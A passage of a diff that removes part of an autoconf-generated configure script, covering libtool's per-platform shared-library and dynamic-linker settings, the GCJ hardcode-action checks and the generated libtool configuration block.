- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_GCJ=
-if test -n "$hardcode_libdir_flag_spec_GCJ" || \
- test -n "$runpath_var_GCJ" || \
- test "X$hardcode_automatic_GCJ" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_GCJ" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no &&
- test "$hardcode_minus_L_GCJ" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_GCJ=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_GCJ=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_GCJ=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_GCJ" >&5
-$as_echo "$hardcode_action_GCJ" >&6; }
-
-if test "$hardcode_action_GCJ" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_GCJ \
- CC_GCJ \
- LD_GCJ \
- lt_prog_compiler_wl_GCJ \
- lt_prog_compiler_pic_GCJ \
- lt_prog_compiler_static_GCJ \
- lt_prog_compiler_no_builtin_flag_GCJ \
- export_dynamic_flag_spec_GCJ \
- thread_safe_flag_spec_GCJ \
- whole_archive_flag_spec_GCJ \
- enable_shared_with_static_runtimes_GCJ \
- old_archive_cmds_GCJ \
- old_archive_from_new_cmds_GCJ \
- predep_objects_GCJ \
- postdep_objects_GCJ \
- predeps_GCJ \
- postdeps_GCJ \
- compiler_lib_search_path_GCJ \
- archive_cmds_GCJ \
- archive_expsym_cmds_GCJ \
- postinstall_cmds_GCJ \
- postuninstall_cmds_GCJ \
- old_archive_from_expsyms_cmds_GCJ \
- allow_undefined_flag_GCJ \
- no_undefined_flag_GCJ \
- export_symbols_cmds_GCJ \
- hardcode_libdir_flag_spec_GCJ \
- hardcode_libdir_flag_spec_ld_GCJ \
- hardcode_libdir_separator_GCJ \
- hardcode_automatic_GCJ \
- module_cmds_GCJ \
- module_expsym_cmds_GCJ \
- lt_cv_prog_compiler_c_o_GCJ \
- exclude_expsyms_GCJ \
- include_expsyms_GCJ; do
-
- case $var in
- old_archive_cmds_GCJ | \
- old_archive_from_new_cmds_GCJ | \
- archive_cmds_GCJ | \
- archive_expsym_cmds_GCJ | \
- module_cmds_GCJ | \
- module_expsym_cmds_GCJ | \
- old_archive_from_expsyms_cmds_GCJ | \
- export_symbols_cmds_GCJ | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_GCJ
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_GCJ
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_GCJ
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_GCJ
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_GCJ
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_GCJ
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_GCJ
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_GCJ
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_GCJ
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_GCJ
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_GCJ
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_GCJ
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_GCJ
-archive_expsym_cmds=$lt_archive_expsym_cmds_GCJ
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_GCJ
-module_expsym_cmds=$lt_module_expsym_cmds_GCJ
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_GCJ
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_GCJ
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_GCJ
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_GCJ
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_GCJ
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_GCJ
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_GCJ
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_GCJ
-
-# If ld is used when linking, flag to hardcode \$libdir into
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-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_GCJ
-
